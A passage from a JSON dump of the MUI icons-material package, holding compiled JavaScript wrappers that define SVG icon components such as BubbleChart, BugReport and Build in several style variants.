    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 17c0-.55-.45-1-1-1s-1 .45-1 1c0 .74-.19 1.4-.5 1.95.17.03.33.05.5.05 1.1 0 2-.9 2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.75 15 8.96-8.96c.39-.39.39-1.02 0-1.41l-1.34-1.34c-.2-.2-.45-.29-.7-.29s-.51.1-.71.29L9 12.25zM6 21c2.21 0 4-1.79 4-4 0-1.66-1.34-3-3-3s-3 1.34-3 3c0 1.31-1.16 2-2 2 .92 1.22 2.49 2 4 2m0-4c0-.55.45-1 1-1s1 .45 1 1c0 1.1-.9 2-2 2-.17 0-.33-.02-.5-.05.31-.55.5-1.21.5-1.95\"\n}, \"1\")], 'BrushTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BubbleChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.2\",\n  cy: \"14.4\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.8\",\n  cy: \"18\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.2\",\n  cy: \"8.8\",\n  r: \"4.8\"\n}, \"2\")], 'BubbleChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/BubbleChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.2\",\n  cy: \"14.4\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.8\",\n  cy: \"18\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.2\",\n  cy: \"8.8\",\n  r: \"4.8\"\n}, \"2\")], 'BubbleChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/BubbleChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m8.01-1c-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3-1.35-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M16.5 3C13.47 3 11 5.47 11 8.5s2.47 5.5 5.5 5.5S22 11.53 22 8.5 19.53 3 16.5 3m0 9c-1.93 0-3.5-1.57-3.5-3.5S14.57 5 16.5 5 20 6.57 20 8.5 18.43 12 16.5 12\"\n}), 'BubbleChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BubbleChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m8.01-1c-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3-1.35-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M16.5 3C13.47 3 11 5.47 11 8.5s2.47 5.5 5.5 5.5S22 11.53 22 8.5 19.53 3 16.5 3m0 9c-1.93 0-3.5-1.57-3.5-3.5S14.57 5 16.5 5 20 6.57 20 8.5 18.43 12 16.5 12\"\n}), 'BubbleChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BubbleChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.2\",\n  cy: \"14.4\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.8\",\n  cy: \"18\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.2\",\n  cy: \"8.8\",\n  r: \"4.8\"\n}, \"2\")], 'BubbleChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BubbleChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.2\",\n  cy: \"14.4\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.8\",\n  cy: \"18\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.2\",\n  cy: \"8.8\",\n  r: \"4.8\"\n}, \"2\")], 'BubbleChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BubbleChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.2\",\n  cy: \"14.4\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.8\",\n  cy: \"18\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.2\",\n  cy: \"8.8\",\n  r: \"4.8\"\n}, \"2\")], 'BubbleChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BubbleChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.2\",\n  cy: \"14.4\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.8\",\n  cy: \"18\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.2\",\n  cy: \"8.8\",\n  r: \"4.8\"\n}, \"2\")], 'BubbleChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BubbleChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12c1.93 0 3.5-1.57 3.5-3.5S18.43 5 16.5 5 13 6.57 13 8.5s1.57 3.5 3.5 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.01\",\n  cy: \"18\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"14\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m11.01 6c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3m-4 0c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m2.49-4c3.03 0 5.5-2.47 5.5-5.5S19.53 3 16.5 3 11 5.47 11 8.5s2.47 5.5 5.5 5.5m0-9C18.43 5 20 6.57 20 8.5S18.43 12 16.5 12 13 10.43 13 8.5 14.57 5 16.5 5\"\n}, \"3\")], 'BubbleChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BubbleChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12c1.93 0 3.5-1.57 3.5-3.5S18.43 5 16.5 5 13 6.57 13 8.5s1.57 3.5 3.5 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.01\",\n  cy: \"18\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"14\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m11.01 6c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3m-4 0c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m2.49-4c3.03 0 5.5-2.47 5.5-5.5S19.53 3 16.5 3 11 5.47 11 8.5s2.47 5.5 5.5 5.5m0-9C18.43 5 20 6.57 20 8.5S18.43 12 16.5 12 13 10.43 13 8.5 14.57 5 16.5 5\"\n}, \"3\")], 'BubbleChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BugReport.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-2.81c-.45-.78-1.07-1.45-1.82-1.96L17 4.41 15.59 3l-2.17 2.17C12.96 5.06 12.49 5 12 5s-.96.06-1.41.17L8.41 3 7 4.41l1.62 1.63C7.88 6.55 7.26 7.22 6.81 8H4v2h2.09c-.05.33-.09.66-.09 1v1H4v2h2v1c0 .34.04.67.09 1H4v2h2.81c1.04 1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H20v-2h-2.09c.05-.33.09-.66.09-1v-1h2v-2h-2v-1c0-.34-.04-.67-.09-1H20zm-6 8h-4v-2h4zm0-4h-4v-2h4z\"\n}), 'BugReport');"
  },
  {
    "path": "packages/mui-icons-material/lib/BugReport.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-2.81c-.45-.78-1.07-1.45-1.82-1.96L17 4.41 15.59 3l-2.17 2.17C12.96 5.06 12.49 5 12 5s-.96.06-1.41.17L8.41 3 7 4.41l1.62 1.63C7.88 6.55 7.26 7.22 6.81 8H4v2h2.09c-.05.33-.09.66-.09 1v1H4v2h2v1c0 .34.04.67.09 1H4v2h2.81c1.04 1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H20v-2h-2.09c.05-.33.09-.66.09-1v-1h2v-2h-2v-1c0-.34-.04-.67-.09-1H20zm-6 8h-4v-2h4zm0-4h-4v-2h4z\"\n}), 'BugReport');"
  },
  {
    "path": "packages/mui-icons-material/lib/BugReportOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-2.81c-.45-.78-1.07-1.45-1.82-1.96L17 4.41 15.59 3l-2.17 2.17C12.96 5.06 12.49 5 12 5s-.96.06-1.41.17L8.41 3 7 4.41l1.62 1.63C7.88 6.55 7.26 7.22 6.81 8H4v2h2.09c-.05.33-.09.66-.09 1v1H4v2h2v1c0 .34.04.67.09 1H4v2h2.81c1.04 1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H20v-2h-2.09c.05-.33.09-.66.09-1v-1h2v-2h-2v-1c0-.34-.04-.67-.09-1H20zm-4 4v3c0 .22-.03.47-.07.7l-.1.65-.37.65c-.72 1.24-2.04 2-3.46 2s-2.74-.77-3.46-2l-.37-.64-.1-.65C8.03 15.48 8 15.23 8 15v-4c0-.23.03-.48.07-.7l.1-.65.37-.65c.3-.52.72-.97 1.21-1.31l.57-.39.74-.18c.31-.08.63-.12.94-.12.32 0 .63.04.95.12l.68.16.61.42c.5.34.91.78 1.21 1.31l.38.65.1.65c.04.22.07.47.07.69zm-6 2h4v2h-4zm0-4h4v2h-4z\"\n}), 'BugReportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BugReportOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-2.81c-.45-.78-1.07-1.45-1.82-1.96L17 4.41 15.59 3l-2.17 2.17C12.96 5.06 12.49 5 12 5s-.96.06-1.41.17L8.41 3 7 4.41l1.62 1.63C7.88 6.55 7.26 7.22 6.81 8H4v2h2.09c-.05.33-.09.66-.09 1v1H4v2h2v1c0 .34.04.67.09 1H4v2h2.81c1.04 1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H20v-2h-2.09c.05-.33.09-.66.09-1v-1h2v-2h-2v-1c0-.34-.04-.67-.09-1H20zm-4 4v3c0 .22-.03.47-.07.7l-.1.65-.37.65c-.72 1.24-2.04 2-3.46 2s-2.74-.77-3.46-2l-.37-.64-.1-.65C8.03 15.48 8 15.23 8 15v-4c0-.23.03-.48.07-.7l.1-.65.37-.65c.3-.52.72-.97 1.21-1.31l.57-.39.74-.18c.31-.08.63-.12.94-.12.32 0 .63.04.95.12l.68.16.61.42c.5.34.91.78 1.21 1.31l.38.65.1.65c.04.22.07.47.07.69zm-6 2h4v2h-4zm0-4h4v2h-4z\"\n}), 'BugReportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BugReportRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8h-1.81c-.45-.78-1.07-1.45-1.82-1.96l.93-.93c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-1.47 1.47C12.96 5.06 12.49 5 12 5s-.96.06-1.41.17L9.11 3.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.92.93C7.88 6.55 7.26 7.22 6.81 8H5c-.55 0-1 .45-1 1s.45 1 1 1h1.09c-.05.33-.09.66-.09 1v1H5c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .34.04.67.09 1H5c-.55 0-1 .45-1 1s.45 1 1 1h1.81c1.04 1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H19c.55 0 1-.45 1-1s-.45-1-1-1h-1.09c.05-.33.09-.66.09-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-1c0-.34-.04-.67-.09-1H19c.55 0 1-.45 1-1s-.45-1-1-1m-6 8h-2c-.55 0-1-.45-1-1s.45-1 1-1h2c.55 0 1 .45 1 1s-.45 1-1 1m0-4h-2c-.55 0-1-.45-1-1s.45-1 1-1h2c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'BugReportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BugReportRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8h-1.81c-.45-.78-1.07-1.45-1.82-1.96l.93-.93c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-1.47 1.47C12.96 5.06 12.49 5 12 5s-.96.06-1.41.17L9.11 3.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.92.93C7.88 6.55 7.26 7.22 6.81 8H5c-.55 0-1 .45-1 1s.45 1 1 1h1.09c-.05.33-.09.66-.09 1v1H5c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .34.04.67.09 1H5c-.55 0-1 .45-1 1s.45 1 1 1h1.81c1.04 1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H19c.55 0 1-.45 1-1s-.45-1-1-1h-1.09c.05-.33.09-.66.09-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-1c0-.34-.04-.67-.09-1H19c.55 0 1-.45 1-1s-.45-1-1-1m-6 8h-2c-.55 0-1-.45-1-1s.45-1 1-1h2c.55 0 1 .45 1 1s-.45 1-1 1m0-4h-2c-.55 0-1-.45-1-1s.45-1 1-1h2c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'BugReportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BugReportSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-2.81c-.45-.78-1.07-1.45-1.82-1.96L17 4.41 15.59 3l-2.17 2.17C12.96 5.06 12.49 5 12 5s-.96.06-1.41.17L8.41 3 7 4.41l1.62 1.63C7.88 6.55 7.26 7.22 6.81 8H4v2h2.09c-.05.33-.09.66-.09 1v1H4v2h2v1c0 .34.04.67.09 1H4v2h2.81c1.04 1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H20v-2h-2.09c.05-.33.09-.66.09-1v-1h2v-2h-2v-1c0-.34-.04-.67-.09-1H20zm-6 8h-4v-2h4zm0-4h-4v-2h4z\"\n}), 'BugReportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BugReportSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-2.81c-.45-.78-1.07-1.45-1.82-1.96L17 4.41 15.59 3l-2.17 2.17C12.96 5.06 12.49 5 12 5s-.96.06-1.41.17L8.41 3 7 4.41l1.62 1.63C7.88 6.55 7.26 7.22 6.81 8H4v2h2.09c-.05.33-.09.66-.09 1v1H4v2h2v1c0 .34.04.67.09 1H4v2h2.81c1.04 1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H20v-2h-2.09c.05-.33.09-.66.09-1v-1h2v-2h-2v-1c0-.34-.04-.67-.09-1H20zm-6 8h-4v-2h4zm0-4h-4v-2h4z\"\n}), 'BugReportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BugReportTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.83 9.65 15.46 9c-.3-.53-.71-.96-1.21-1.31l-.61-.42-.68-.16C12.63 7.04 12.32 7 12 7c-.31 0-.63.04-.94.11l-.74.18-.57.4c-.49.34-.91.79-1.21 1.31l-.37.65-.1.65c-.04.23-.07.48-.07.7v4c0 .22.03.47.07.7l.1.65.37.65c.72 1.24 2.04 2 3.46 2s2.74-.77 3.46-2l.37-.64.1-.65c.04-.24.07-.49.07-.71v-4c0-.22-.03-.47-.07-.7zM14 16h-4v-2h4zm0-4h-4v-2h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-2.81c-.45-.78-1.07-1.45-1.82-1.96L17 4.41 15.59 3l-2.17 2.17C12.96 5.06 12.49 5 12 5s-.96.06-1.41.17L8.41 3 7 4.41l1.62 1.63C7.88 6.55 7.26 7.22 6.81 8H4v2h2.09c-.05.33-.09.66-.09 1v1H4v2h2v1c0 .34.04.67.09 1H4v2h2.81c1.04 1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H20v-2h-2.09c.05-.33.09-.66.09-1v-1h2v-2h-2v-1c0-.34-.04-.67-.09-1H20zm-4 4v3c0 .22-.03.47-.07.7l-.1.65-.37.65c-.72 1.24-2.04 2-3.46 2s-2.74-.77-3.46-2l-.37-.64-.1-.65C8.03 15.47 8 15.22 8 15v-4c0-.22.03-.47.07-.7l.1-.65.37-.65c.3-.52.72-.97 1.21-1.31l.57-.39.74-.18c.31-.08.63-.12.94-.12.32 0 .63.04.95.12l.68.16.61.42c.5.34.91.78 1.21 1.31l.38.65.1.65c.04.22.07.47.07.69zm-6 2h4v2h-4zm0-4h4v2h-4z\"\n}, \"1\")], 'BugReportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BugReportTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.83 9.65 15.46 9c-.3-.53-.71-.96-1.21-1.31l-.61-.42-.68-.16C12.63 7.04 12.32 7 12 7c-.31 0-.63.04-.94.11l-.74.18-.57.4c-.49.34-.91.79-1.21 1.31l-.37.65-.1.65c-.04.23-.07.48-.07.7v4c0 .22.03.47.07.7l.1.65.37.65c.72 1.24 2.04 2 3.46 2s2.74-.77 3.46-2l.37-.64.1-.65c.04-.24.07-.49.07-.71v-4c0-.22-.03-.47-.07-.7zM14 16h-4v-2h4zm0-4h-4v-2h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-2.81c-.45-.78-1.07-1.45-1.82-1.96L17 4.41 15.59 3l-2.17 2.17C12.96 5.06 12.49 5 12 5s-.96.06-1.41.17L8.41 3 7 4.41l1.62 1.63C7.88 6.55 7.26 7.22 6.81 8H4v2h2.09c-.05.33-.09.66-.09 1v1H4v2h2v1c0 .34.04.67.09 1H4v2h2.81c1.04 1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H20v-2h-2.09c.05-.33.09-.66.09-1v-1h2v-2h-2v-1c0-.34-.04-.67-.09-1H20zm-4 4v3c0 .22-.03.47-.07.7l-.1.65-.37.65c-.72 1.24-2.04 2-3.46 2s-2.74-.77-3.46-2l-.37-.64-.1-.65C8.03 15.47 8 15.22 8 15v-4c0-.22.03-.47.07-.7l.1-.65.37-.65c.3-.52.72-.97 1.21-1.31l.57-.39.74-.18c.31-.08.63-.12.94-.12.32 0 .63.04.95.12l.68.16.61.42c.5.34.91.78 1.21 1.31l.38.65.1.65c.04.22.07.47.07.69zm-6 2h4v2h-4zm0-4h4v2h-4z\"\n}, \"1\")], 'BugReportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Build.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.7 19-9.1-9.1c.9-2.3.4-5-1.5-6.9-2-2-5-2.4-7.4-1.3L9 6 6 9 1.6 4.7C.4 7.1.9 10.1 2.9 12.1c1.9 1.9 4.6 2.4 6.9 1.5l9.1 9.1c.4.4 1 .4 1.4 0l2.3-2.3c.5-.4.5-1.1.1-1.4\"\n}), 'Build');"
  },
  {
    "path": "packages/mui-icons-material/lib/Build.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.7 19-9.1-9.1c.9-2.3.4-5-1.5-6.9-2-2-5-2.4-7.4-1.3L9 6 6 9 1.6 4.7C.4 7.1.9 10.1 2.9 12.1c1.9 1.9 4.6 2.4 6.9 1.5l9.1 9.1c.4.4 1 .4 1.4 0l2.3-2.3c.5-.4.5-1.1.1-1.4\"\n}), 'Build');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4.9 13.49-1.4 1.4c-.2.2-.51.2-.71 0l-3.41-3.41c-1.22.43-2.64.17-3.62-.81-1.11-1.11-1.3-2.79-.59-4.1l2.35 2.35 1.41-1.41-2.35-2.34c1.32-.71 2.99-.52 4.1.59.98.98 1.24 2.4.81 3.62l3.41 3.41c.19.19.19.51 0 .7\"\n}), 'BuildCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/BuildCircle.mjs",
